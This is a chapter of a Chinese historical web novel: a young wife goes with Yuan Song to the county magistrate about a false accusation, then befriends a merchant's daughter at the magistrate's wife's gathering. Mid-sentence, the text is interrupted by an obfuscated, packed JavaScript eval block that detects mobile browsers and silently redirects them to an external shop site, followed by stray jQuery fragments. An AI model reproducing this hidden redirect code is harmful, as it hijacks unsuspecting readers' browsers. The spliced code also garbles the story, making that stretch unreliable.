马车上,严娇娇无数次掀开帘子,看有没有到县城,倒是当事人,一副很沉得住气的模样,她没好气地瞥了他一眼。
“你好像一点都不担心。”
袁松睁开眼看着她,突然露出个笑容:“我又没做过,自然不怕。”
死装,严娇娇偷偷翻了个白眼,要是不怕,用的着找她去当证人,求她帮忙的时候可不是这样的。
不过……找她有什么用,只能证明出事那天他在县城,他老师和同学都能帮他证明啊!
牛家的人若不是有了确切的证据,怕是不敢去告官,她几次想让他把怎么害人家的过程说一说,两人对对供词。
可最终还是没敢开口,问了那就是同谋了,他会不会觉得自己知道的太多,到时候两人拜拜的时候,他觉得是个威胁,杀人灭口怎么办?
一时间,严娇娇想的有点多。
袁松看她一时挣扎,一时担忧,一下又无所谓的样子,不知道心里在想什么,真是太好玩了。
没忍住,伸手去探她的头发,严娇娇身子往后一躲,眼神警惕:“你做什么?”
袁松回神,有些尴尬地收回手:“刚刚有个虫子。”
严娇娇低头看了一下,没发现,有些狐疑地看他。
她怎么就不信呢。
但还是起身,把全身上下都找了一遍,确定没有异常后再才坐下。
但还是心里有些疑神疑鬼的,一会儿就往身上看一下,袁松见她这紧张的样子,有些懊恼。
明知道她怕蛇虫,刚刚不应该用这个吓她的。
“好了,别看了,我刚刚骗你的。”见她又要去拍打背后,袁松一把抓住了她的手。
“其实我刚刚只是想帮你弄下头发。”他笑着跟她说抱歉。
严娇娇没好气瞪他:“你有病啊!”
就因为他那句虫子,弄的她一直觉得身上不舒服,一会儿这痒一会儿那痒的。
又狠狠甩去了一个眼刀子,还有心情戏弄人,看来是真不担心。
袁松摸摸鼻子,低头装模作样看书。
又过了大概半个时辰,车子终于进了县城,岑夫子和潘子华他们早就等在县衙了,进到他来,立刻拥簇着去了后衙。
郑师爷迎了上来,笑着跟岑夫子打招呼:“岑训导。”
又跟梁绍明打招呼:“梁公子也来了。”笑容中更带了几分恭敬。
他眼神不经意扫过袁松以及他身后的严娇娇,暗自点头,看着倒也是一表人才,难怪这么多人保他,连知县老爷,都不得不打起精神来。
他笑容又深了几分,宽慰着袁松:“你不用紧张,既是诬告,知县老爷自然会为你做主。”
郑师爷带着他们往吴知县的书房走去,不是在公堂见他们,而是在后院,足以说明吴知县心中已有定论。
“知县派人去细细查过,这案子清楚明白,那牛氏兄弟在乡间就有无赖之名,品行不端,你有证人,且岑夫人,楚教谕都为你作保,对,还有梁公子……”
他笑着对梁绍明拱手:“放心吧,这案子不用担心,老爷见你们其实不但是为案子,也是想问问你们秋闱准备的怎么样了?”
据楚教谕所说,这三人是进士之才,若是秋闱中了举人,那也是他们这些父母官的政绩啊,吴知县来这里快八年了,若是再不能升上去,只怕就要在庆安这个地方重要了。
可若是一下子出了几个举人,这政绩就有了,吴知县再活动活动,好的地方去不了,那一般的还是可以去的。
说话间,几人就来到了后院花厅,吴知县已经等在那了,众人按照礼节,拜了知县。
吴知县一脸笑,态度很是亲近,扶起岑夫子:“快请起。”
他看着袁松等人,摸着胡子满意地笑:“不错,都是未来栋梁,岑教导教书育人,为朝廷人才,本官给你记上一功。”
若是三人都能中举,他和楚教谕必然能升上去,说不得教谕的位置就是这位古板的岑夫子了。
“知县大人,子平被人诬告之事,不如让他自辨……”
吴知县伸手打断岑夫子的话:“这事已经查过了,你们可以为他作证证人,事发时子平并没有在现场,且对方并没有其他人证物证,定然是诬告,不用担心,本官断案无数,什么人都逃不过我的眼睛,那两兄弟一看就是乡下无赖,平日里怕是没少讹人,不过这次,碰到本官手里,也是他们好运到头了。”
最后一句,带着几分阴森。
“本官叫你们来,只是想考校一下他们的文章。”
吴知县也是进士出身,若是有他的指点,定然能让袁松他们获益匪浅,岑夫子也顾不上心中那点隐隐不妥,只剩下欣喜。
严娇娇觉得自己跟着来真是多余的,还以为知县大人是要听她的证词,所以压根连个过场都不走吗?
难怪袁松一路上那么轻松……严娇娇蹙眉,他是不是早就算到了,那为什么还一脸惊慌地把自己叫来。
他要干什么?
严娇娇疑惑地瞟了他一眼,袁松对她露出个笑容,带着几分关切问道:“怎么了?可是哪里不舒服。”
他伸手扶住了严娇娇,然后对吴知县抱歉笑道:“内子可能是太过担心我了,这一路上她的心都没放下过,我都跟她说了,吴知县公正严明,断案无数,定然能还我清白的。”
吴知县这次发现严娇娇也在这里,顿时笑道:“没事,让下人送去夫人那里喝杯热茶定定惊。”
他叫了丫鬟来,交代了几句,又让严娇娇跟着去。
袁松轻捏了一下她的手心,笑着道:“那就去叨扰叨扰夫人了,等我们这边散了就去接你。”
严娇娇会意,跟着去了。
吴夫人是个四十左右的白胖夫人,很是爱笑,她屋里还有客人,严娇娇被人领进去时,引的众人好奇看了过来。
还好严娇娇稳得住,脸上带着恰到好处的微笑,倒是不卑不亢。
吴夫人听着丫鬟在她耳边耳语,偶尔视线看向严娇娇。
严娇娇知道,这定然是丫鬟在告知自己的身份,以吴夫人的身份地位,自己这样的,应该算不上什么贵客。
果然,吴夫人飞快地拧了一下眉头,大概是不明白丈夫为什么要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705424|204401||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她招待这样一个乡下来的村妇吧。
但她毕竟是有身份的人,也不会做什么失礼的事情,但要热情招待,那也是没有的了。
吩咐严娇娇在末座坐下,丫鬟给上了茶水点心后,吴夫人就再也没有把目光放到她身上了。
众人看吴夫人连介绍都没有,自然也明白这人不是什么要紧的,立刻去了好奇心,又说说笑笑起来,大多时候都是捧着吴夫人的。
毕竟在庆安县,吴夫人为尊。
严娇娇一路疾行,还真有些饿,反正在场的没人留意她,她拿了块点心慢慢吃着,一边听着那些夫人太太说话。
一碟点心只有三四块块,很快就吃的剩最后一块了,严娇娇不好再拿,总不能吃光盘了,那就要出名了。
可惜,才刚刚塞了个牙缝,不够吃啊!
突然,旁边递来了一个一碟:“我这还有。”
一位年轻姑娘笑盈盈地看着她,然后动作飞快地把两人的点心换了一下,对严娇娇眨眼。
“吃吧。”
年轻姑娘看着和她差不多大,身上穿的是绸缎衣裳,头上带着玉簪子,手腕上带着两个的累丝金镯,轻轻晃荡,叮叮清脆。
这还是严娇娇来到这个世界后,第一次见到有钱人。
云娘子的金戒指和她这完全没法比。
“我姓戚单名一个云字。”
戚云带着几分善意的笑,还以为她是不好意思,轻轻解释:“这点心是我家的招牌,我都吃腻了,你不用觉得不好意思。”
“我叫严娇娇,谢谢。”严娇娇回神,笑着和她打招呼。
“我之前都没有见过你,你刚来城里吗?”戚云问道。
自己身份又不是什么秘密,宴席散了后稍微打听一下就能知道,所以严娇娇也不准备隐瞒,实话实说。
戚云听后有些诧异,然后了然地笑:“我说呢,怎么还有人能做我后面。”
她掩嘴巧笑,趁着没人留意,小声跟严娇娇咬耳根子:“今天有你,我倒是也有人说话了,以前我也只能听她们说话的。”
说完她露出狡黠的笑容。
严娇娇想到她刚刚说点心是她家的招牌,那想必家里是做生意的,吴夫人请客,座上宾除了她丈夫下属的家眷,就是城中大族乡绅,能让吴夫人请来赴宴的商人女,想必也不一般。
严娇娇笑,学着她的样子低语:“那想必你家财力不弱。”不然也参会不了这样的聚会。
戚云半遮着脸,笑的娇俏,眼神中却带着几分傲气,显然,严娇娇的话说到了她的心头。
戚家已经不愁钱财,算得上是庆安县的首富,但却只有富没有贵。
戚家想要改变这一现状,唯有通过戚云的婚事,所以哪怕被吴夫人在宴会上如此慢待,戚云也依旧会来参加。
庆安县唯一最有身份的女人是吴夫人,戚家通过她能接触到他们够不上的人家。
可惜这些大族都对她家商人的身份避之不及。
“等你男人高中后,你也就是她们其中一员了。”若是她的丈夫能高中,怕是吴夫人都要巴结着了。